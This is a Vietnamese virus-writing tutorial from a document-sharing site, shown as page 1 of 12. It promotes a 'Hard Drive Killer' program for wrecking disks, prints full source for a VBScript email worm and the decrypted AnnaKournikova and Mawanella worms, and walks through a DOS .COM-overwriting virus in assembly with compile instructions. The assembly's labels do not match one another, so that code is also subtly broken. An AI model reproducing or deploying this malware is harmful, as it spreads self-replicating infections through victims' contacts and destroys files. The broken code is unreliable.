You are on page 1of 12

VIRUS

Windows,Hard Drive Killer


Hôm nay tôi sẽ giới thiệu đến các bạn 1 vài phần mềm vô cùng nguy hiểm ! chỉ cần 1 click chuột là ổ cứng của bạn tiêu
ngay lập tức ! chú ý: chỉ đọc, nếu thực hành ngay trên máy bạn, 99% ổ cứng của  bạn sẽ hỏng ! không khuyến khích đi
phá hoại !
Đầu tiên các bạn download chương trình có tên hdkp4 tại đây. đây là sản phẩm của website http://www.hackology.com
công việc " phá hoại" cực kì đơn giản chỉ bằng 2 click chuột vào file hdkp.exe như hình trên là........ổ cứng của bạn sẽ
chết ngay trong lần sau khởi động máy! chớ có dại mà thực hành ngay, trừ khi bạn muốn thay ổ cứng mới, còn nếu
không, kỹ thuật phục hồi ổ cứng sau khi dính con này chưa có ở việt nam !
Giải thích quá trình làm hỏng ổ cứng:
_ngay sau khi click vào file, chương trình sẽ bắt đầu phá hoại tất cả data trên ổ cứng của bạn, mặc dù cho bạn có dừng
chương trình giữa chừng thì vẫn thế ! trong lần sau khởi động máy tính chương trình sẽ tự động tiếp tục chạy !
_chương trình này hoạt động nhờ vào thay đổi những thông tin trong file .bat vốn rất quan trọng trong windows ! nó sẽ
phá các track từ ổ cứng và bạn khó mà có thể phục hồi lại dữ liệu hay làm gì với ổ cứng bạn có, sau khi chạy chương
trình ổ cứng của bạn coi như là cục sắt ! không làm gì được ngoài cách vứt vào sọt rác !

Tôi là thử nghiệm: ngay khi bắt đầu down bản Hard Drive Killer Pro 4.0 (EXE and BAT Editions) về máy, thì bị NVA phát
hiện, máy tui dùng NVA 2004, hình như mới update 2 hôm trước! Thông báo của NVA khi phát hiện:

Object name: hdkp4.exe


Container: C:\ ... (something)
Virus Name: Backdoor.Trojan
Action Taken: Accedd to the file was denied

Object name: hdkp_4.bat


Container: C:\ ... (something)
Virus Name: Bat.QuickFormat.Trojan
Action Taken: Accedd to the file was denied

Chưa thử với bản Hard Drive Killer Pro 5.0 Beta (for Win32 only)
Infomation from http://www.hackology.com/programs/hdkp/ginfo.shtml

VBSCRIPT
Trước tiên tôi nói về cách làm thế nào để viết một Email-Worn bằng VisualbasicScript:Việc sử dụng VBS để viết virus có
thể nói là khá phổ biến, điển hình như virus loveletter,Anakournikova,mawanella ..

Ở đây tôi chỉ phân tích chi tiết về mã nguồn có chức năng là làm lây lan virus , còn tác dụng (đối với người code virus)
và tác hại đối với vixtim như thế nào là tùy vào mỗi virus)

-------------------source code-------------

On Error Resume Next


Dim x
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(WScript.ScriptFullName).Copy("C:\virusname.vbs")
Set ol=CreateObject("Outlook.Application")
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Tiêu đề của thư"
Mail.Body="nội dung thư"
Mail.Attachments.Add("C:\virusname.vbs")
Mail.Send
Next
ol.Quit

-----------------------------------

Với những người đã quen với lập trình VB thì không khó để hiểu đoạn mã này.

Đầu tiên nó sẽ tìm trong AddressBook của victim ,ở đây biến x chạy từ 1 đến 50 tương ứng với việc

Nó sẽ tìm 50 địa chỉ trong Address list, và gửi mail đến các địa chỉ đó với tiêu đề và nội dung cho trước
Và nó sẽ đính kèm chính nó vào bức thư đó, như vậy khi victim click vào nó sẽ hoạt động, cứ như vạy mà lây lan.

Để tìm hiểu thêm các bạn có thể xem mã nguồn của virus AnnaKournikova dưới đây, bạn có thể thấy ở hàm OutLook
của virus AnnaKournikova cũng sử dụng cách thức gần giống với đoạn mã phía trên.Đối với virus *.vbs thì chỉ cần code
mã nguồn bằng notepad rồi save as *.vbs là xong. Và cách thức vô hiệu hóa virus dạng này (chỉ là tạm thời trước khi có
trình diệt virus cần thiết) là bỏ window ScriptingHost (theo bài viết bên PcleHoan).Trong phần tùy chọn các mục cài đặt
của windows. Tôi nói đây chỉ là tạm thời bời vì mặc dù có thể nói bằng cách này virus không còn môi trường để hoạt
động nhưng một số ứng dụng khác cũng không hoạt động ví dụ như bạn sẽ gặp trục trặc trong việc hiển thị
Desktop,explorer theo kiểu As Web Page.. Vậ nên cách tốt nhất vẫn là cập nhật chương trình diệt virus thường xuyên.

//*****Decrypted Code******
'Vbs.OnTheFly Created By OnTheFly //L@/\/\3R who released the worm
On Error Resume Next
Set ws = CreateObject("WScript.Shell")

//says "Worm made with VBSwg 1.50b": another pitfall


ws.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) &
Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) &
Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) &
Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) &
Chr(48) & Chr(98)

Set fso= Createobject("scripting.filesystemobject")

fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(0)&
"\AnnaKournikova.jpg.vbs"

if ws.regread ("HKCU\software\OnTheFly\mailed") <> "1" then


Outlook()
end if

//Red Herring? Maybe, but NL *might* be the origin of the worm


if month(now) =1 and day(now) = 26 then
ws.run "Http://www.dynabyte.nl",3,false
end if

//The following section could be an anti-deletion technique


Set AnnaKournikova = fso.opentextfile(wscript.scriptfullname, 1)
SourceCode = AnnaKournikova.readall
AnnaKournikova.Close
Do
If Not (fso.fileexists(wscript.scriptfullname)) Then
Set AnnaKournikova = fso.createtextfile(wscript.scriptfullname, True)
AnnaKournikova.write SourceCode
AnnaKournikova.Close
End If
Loop

Function Outlook()
On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp= "Outlook"Then
Set Mapi=OutlookApp.GetNameSpace("MAPI")
Set MapiAdList= Mapi.AddressLists
For Each Address In MapiAdList
If Address.AddressEntries.Count <> 0 Then
NumOfContacts = Address.AddressEntries.Count
//Get a list of contacts
For ContactNumber = 1 To NumOfContacts
Set EmailItem = OutlookApp.CreateItem(0)
Set ContactNumber = Address.AddressEntries(ContactNumber)
EmailItem.To = ContactNumber.Address
EmailItem.Subject = "Here you have, ;o)"
EmailItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set EmailAttachment=EmailItem.Attachments
EmailAttachment.Add fso.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
EmailItem.DeleteAfterSubmit = True

//Send the thing


If EmailItem.To <> "" Then
EmailItem.Send
ws.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if
End Function
'Vbswg 1.50b

Ở mã nguồn của virus AnnaKournikova bạn có thể thấy một số chỗ sử dụng Chr(x) đó là cách thay vì viết bằng các ký
tự ASCII nó sử dụng hàm Chr để tránh việc bị các trình diệt virus phát hiện.Trong hacking thì chắc các bạn thấy một số
trường hợp có sử dụng Chr(x) để thay cho các dấu /,%,\. (tất nhiên là không phải để tránh các trình diệt virus) Còn đây
là mã nguồn của mawanella:

--------------------------------------source code----------------

' Mawanella Worm

' Decrypted by MrBrownstone

'

On Error ResumeNext

Rem // I hate Mawanella incident

Set W_S = CreateObject("WScript.Shell")

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr, strMsg

set wscr=CreateObject("WScript.Shell")

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set cFile = fso.GetFile(WScript.ScriptFullName)

cFile.Copy(dirsystem&"\Mawanella.vbs")

Set OutlookA = CreateObject("Outlook.Application")

If OutlookA = "Outlook" Then

Set Mapi=OutlookA.GetNameSpace("MAPI")
Set AddLists=Mapi.AddressLists

For Each ListIndex In AddLists

If ListIndex.AddressEntries.Count <> 0 Then

ContactCountX = ListIndex.AddressEntries.Count

For Count= 1 To ContactCountX

Set MailX = OutlookA.CreateItem(0)

Set ContactX = ListIndex.AddressEntries(Count)

'msgbox contactx.address

'Mailx.Recipients.Add(ContactX.Address)

MailX.To = ContactX.Address

MailX.Subject = "Mawanella"

MailX.Body = vbcrlf&"Mawanella is one of the Sri Lanka's Muslim Village"&vbcrlf

'Set Attachment=MailX.Attachments

'Attachment.Add dirsystem & "\Mawanella.vbs"

'Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")

Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")

MailX.DeleteAfterSubmit = True

If MailX.To <> "" Then

MailX.Send

End If

Next

End If

Next

Else

msgBox "Please Forward this to everyone"

End if

strMsg= " ) (" & vbcrlf

strMsg= strMsg & "( ) ( ) " & vbcrlf

strMsg= strMsg & " ( ) ( )" & vbcrlf

strMsg= strMsg & " ( ) ( )" & vbcrlf

strMsg= strMsg & " -------------------------" & vbcrlf

strMsg= strMsg & " / ( ( ( /\" & vbcrlf

strMsg= strMsg & " / ( / \" & vbcrlf

strMsg= strMsg & " / ( ( / \" & vbcrlf


strMsg= strMsg & " --------------------------------" & vbcrlf

strMsg= strMsg & " | --- | |" & vbcrlf

strMsg= strMsg & " | ----- | | | |" & vbcrlf

strMsg= strMsg & " | | | --- | |" & vbcrlf

strMsg= strMsg & " | | | | |" & vbcrlf

strMsg= strMsg & " --------------------------------" & vbcrlf

strMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlf

strMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlf

strMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlf

strMsg= strMsg & "I didn't do that because I am a peace-loving citizen."

msgbox strMsg,,"Mawanella"

End sub

VIẾT MỘT VIRUS GHI ĐÈ LÊN FILE *.COM BẰNG ASM

(Sử dụng tài liệu của nhóm Code Breaker)

Trước tiên hãy xem đoạn mã của virus:

code segment

assume cs:code,ds:code

org 100h

virus proc near

first_file:

mov ah,4eh

tim_file:

xor cx,cx

lea dx,comsig

int 21h

jc ketthuc

mo_file:

mov ax,3d02h

mov dx,9eh

int 21h

nhiem_file:

xchg bx,ax

mov ah,40h
mov cx,offset horny - offset first_fly

lea dx,first_fly

int 21h

stitch_up:

mov ah,3eh

int 21h

mov ah,4fh

jmp find_fly

ketthuc:

mov ah,09h

mov dx,offset wart

int 21h

cya: int 20h

comsig db "*.com",0

msgadd db 'Congratulations! You have infected all the COM files

in this ',10,13

db 'directory . Have a

nice day.',10,13,'$'

horny label near

virus endp

code ends

end first_fly
Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng
chung của một file .com, chúng ta hãy phân tích đoạn mã trên:

================================================== ======

code segment

tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu
trúc khai báo là như sau:

segment_name segment

------------

----------

----------

segment_name Ends

end
Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này.

================================================== ======
assume cs:code,ds:code

Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với

CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình.

org 100h

org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100
hex hay 256 bytes.

================================================== ======

proc virus near


Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình
lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó.
================================================== ======

first_file:

mov ah,4eh

Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm
được gọi là nhãn, nó hữ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi...

Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi
hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ
liệu... .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các
thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm
trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia

Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên
trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh
ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi
phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH - BL, CH - CL, va ’ DH - DL. Giá trị cần nạp vào thanh ghi chung
là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng
ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao ’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là
chuyển giá trị 4e hex vào AH

================================================== =========

tim_file:

xor cx,cx
Việc tiếp theo cần làm là giá trị trong CX =0, chúng ta có thể làm bằng 2 cách , một là MOV CX, 0, hai là XOR CX, CX
tuy nhiên nấu sử dụng MOV CX,0 chúng ta sẽ mất 3 bytes trong khi sử dụng XOR CX,CX chúng ta chỉ mất 2 bytes và
chúng đều có chức năng set cho CX =0. Vậy thì tốt hơn là nên chọn XOR CX,CX

================================================== =========

lea dx,comsig

Tiếp theo chúng ta cần nạp chuỗi với file chỉ định mà chúng ta tìm kiếm vào DX.

Chúng ta đang tìm file . COM. Vi vay chuỗi cần tìm là *.COM. Đây là cách tìm kiếm những tập tin có đuôi là *.COM.
Chuỗi này được xác định tại địa chỉ comsig trong data segment của virus . Và để chuyển chuỗi đó vào DX chúng ta thực
hiện lệnh

LEA DX, comsig, <L>oad the <E>ffective <A>ddress of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng
cách như sau

MOV DX, offset comsig. ================================================== =========

int 21h

Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Co ’ 256 lệnh ngắt các bạn có thể tham
khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ
định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước
trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết)

================================================== =========

jc ketthuc

Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set
thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và
đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì
nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó .

================================================== ===========

mo_file:

mov ax,3d02h

mov dx,9eh

int 21h
Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa
là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh
ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng
ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu "h" sau int 21 hay sau các số ở hệ
HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính
sẽ coi D,E,F chả ra củ khoai gì .... Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở
trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định
trong PSP trong một vùng gọi là DTA hay <D>isk <T>ransfer <A>rea. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la ’
80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset
1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ
thức hiện int 21h để thi hành thủ tục trên.

================================================== ============

nhiem_file:

xchg bx,ax

mov ah,40h

mov cx,offset horny - offset first_fly

lea dx,first_fly

int 21h
Đây là phần làm nhiê’m file sau khi đã mở nó .Ở đoạn mã trước File handle của file được mở nằm trong AX chúng ta cần
nó nằm trong BX vậy nên thực hiện lệnh

xchg bx,ax bằng cách này toàn bộ giá trị trong ax sẽ chuyển vào bx . CX cần được nạp một số lượng byte mà chúng ta
muốn ghi vào. Và thay vì ta sử dụng một con số nào đó để chỉ định số bytes ta để máy tính tính khoảng cách từ 2 offset
nhãn horny và firts_fly như vậy khoảng cách từ nhãn first_fly đến horny là số lượng bytes mà chúng ta muốn ghi vào
file. Cuối cùng, DX cần được nạp địa chỉ mà chúng ta muốn ghi và địa chỉ cua ’ first_fly được nạp vào DX. Đó là phần bắt
đầu của mã mà chúng ta muốn ghi vào file tìm thấy .Sau đó thực hiện int 21 sẽ hoàn tất việc làm nhiễm file.

================================================== =========

stitch_up:

mov ah,3eh

int 21h

mov ah,4fh

jmp find_fly
Sau khi file đã bị nhiễm chúng ta cần đóng file đó lại và đây là đoạn mã thực hiện việc này. Sau khi đóng file chúng ta
nạp 4f hex vào AH rồi nhảy trở về đoạn mã để tìm file .COM kế tiếp. Và nó sẽ thực hiện việc nhiễm file cho đến khi nào
tất cả file .COM trong thu muc chưa nó đã bị nhiễm.Lúc đó cờ carry=1 và lệnh nhảy jc sẽ hoạt động đưa ra thông báo
chúc mừng.

================================================== =================

Ketthuc:

mov ah,9

mov dx,offset wart

int 21h

================================================== ================

cya: int 20h

Chức năng của int 20 là kết thúc chương trình , tuy nhiên cách hiện nay hay dùng là MOV AH,4CH

int 21

================================================== ================

comsig db "*.com",0

msgadd db 'Congratulations! You have infected all the COM files

in this',10,13

db 'Have a nice day.',10,13,'$'

Đây là data segment nói một cách nọm na là tương tự như bạn khai báo hằng (Const) ở pascal,C++ vậy.Và các hằng
này sẽ được sử dụng trong code segment. Chúng ta sử dụng định nghĩa byte DB, để định nghĩa một chuỗi. Việc đặt
10,13 sau các chuỗi giúp cho việc hiển thị nó có thứ tự nếu không cả hai chuỗi sẽ hiển thị cùng lúc lên màn hinh $ tại
phần cuối của dòng 2 báo hiệu kết thúc chuôi
================================================== =================

horny label near

nhãn horny chỉ có một mục đích là để xác điịnh offset trong việc xác định số byte ghi vào file cần làm nhiễm
================================================== =================

virus endp

code ends

end first_fly

kết thúc chương trình


================================================== ==============

Biên dịch virus :

Bạn cần có TASM hay MASM. Trongbài này tôi hướng dẫn các bạn biên dịch virus bằng TASM. Các file cần có virus.asm
TASM.EXE, TLINK

Đầu tiên lưu nó thành file ".asm" file,có thể sử dụng Notepad để soạn thảo mã rồi save as virus.asm. Sử dụng TASM gõ
lệnh:

C:\>tasm virus.asm

Kết quả có thể là như sau:


Turbo Assembler Version 2.01

Assembling file: virus.asm

Error Messages: none

Warning Messages: none

Passes: 1

Remaining Memory: 418k (or something similar)

Nếu không có lỗi nào, nếu có lỗi nó sẽ báo cho bạn biết lỗi gì ở dòng nào .

Sau khi gõ lệnh TASM <asm file> bạn sẽ được file *.obj

Để tạo COM file bạn gõ lệnh:

C:\>tlink /t virus.obj

Tlink sẽ tạo ra file virus.COM

Bây giờ hãy thử nghiệmvirus của bạn, mở Notepad lên, ghi gì tùy bạn , không ghi cũng được lưu thành file vidu.com. đặt
nóvào thư muc của virus bạn vừa biên dịch. Rồi chạy virus bạn sẽ thấy kích thước của file vidu.com bây giờ sẽ bằng kích
thước của virus(180 bytes). Tuy nhiên nhược virus này sẽ làm nhiễm tất cả các file .com trong thư mục chứa nó mà
không cần biết file đó đã bị nhiễm hay chưa, ở phần sau tôi sẽ hướng dẫn các bạn cách để kiểm tra xem một file đã bị
nhiễm hay chưa. Và cònmột điều nữa là virus này không có tác dụng với những file .com có size lớn hơn nó (đây chỉ là
để minh họa nên tôi nghĩ như vậy là đủ)

================================================== =============

Appendix 1 - The Registers

AX Accumulator register

BX Base register

CX Counting register

DX Data register

DS Data Segment register

ES Extra Segment register

SS Stack Segment register

CS Code Segment register

BP Base Pointers register

SI Source Index register

DI Destiny Index register

SP Stack Pointer register

IP Next Instruction Pointer register

F Flag register

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_

Appendix 2 - The PSP

Format of Program Segment Prefix (PSP):


Offset Size Description (Table 1032)

00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program termination

the CDh 20h here is often used as a signature(chu ky) for a valid PSP

02h WORD segment of first byte beyond memory allocated to program

04h BYTE (DOS) unused filler

(OS/2) count of fake DOS version returns

05h BYTE CP/M CALL 5 service request (FAR CALL to absolute 000C0h)

BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh

06h WORD CP/M compatibility--size of first segment for .COM files

08h 2 BYTEs remainder of FAR JMP at 05h

0Ah DWORD stored INT 22 termination address

0Eh DWORD stored INT 23 control-Break handler address

12h DWORD DOS 1.1+ stored INT 24 critical error handler address

16h WORD segment of parent PSP

18h 20 BYTEs DOS 2+ Job File Table, one byte per file handle, FFh = closed

2Ch WORD DOS 2+ segment of environment for process (see #1033)

2Eh DWORD DOS 2+ process's SS:SP on entry to last INT 21 call

32h WORD DOS 3+ number of entries in JFT (default 20)

34h DWORD DOS 3+ pointer to JFT (default PSP:0018h)

38h DWORD DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)

used by SHARE in DOS 3.3

3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h)

Novell DOS 7 DBCS interim flag as set with AX=6301h

(possibly also used by Far East MS-DOS 3.2-3.3)

3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h)

3Eh BYTE (Novell NetWare) flag: next byte initialized if CEh

(OS/2) capabilities flag

3Fh BYTE (Novell NetWare) Novell task number if previous byte is CEh

40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h

42h WORD (MSWindows3) selector of next PSP (PDB) in linked list

Windows keeps a linked list of Windows programs only

44h WORD (MSWindows3) "PDB_Partition"

46h WORD (MSWindows3) "PDB_NextPDB"


48h BYTE (MSWindows3) bit 0 set if non-Windows application (WINOLDAP)

49h BYTE unused by DOS versions <= 6.00

4Ch WORD (MSWindows3) "PDB_EntryStack"

4Eh 2 BYTEs unused by DOS versions <= 6.00

50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions)

53h 2 BYTEs unused in DOS versions <= 6.00

55h 7 BYTEs unused in DOS versions <= 6.00; can be used to make first FCB

into an extended FCB

5Ch 16 BYTEs first default FCB, filled in from first commandline argumentoverwrites second FCB if opened

6Ch 16 BYTEs second default FCB, filled in from second commandline argument

overwrites beginning of commandline if opened

7Ch 4 BYTEs unused

80h 128 BYTEs commandline / default DTA

command tail is BYTE for length of tail, N BYTEs for the tail,

followed by a BYTE containing 0Dh

------------------------------------------------------------------------------

Appendix 3 - Examples of various JUMP commands

JA - Jump if Above

JAE - Jump if Above/Equal

JB - Jump if Below

JBE - Jump if Below/Equal

JC - Jump if Carry

JE - Jump if Equal

JG - Jump if Greater

JGE - Jump if Greater/Equal

JL - Jump if Less

JLE - Jump if Less/Equal

JMP - Jump

JNA - Jump if Not Above

JNAE - Jump if Not Above/Equal

You might also like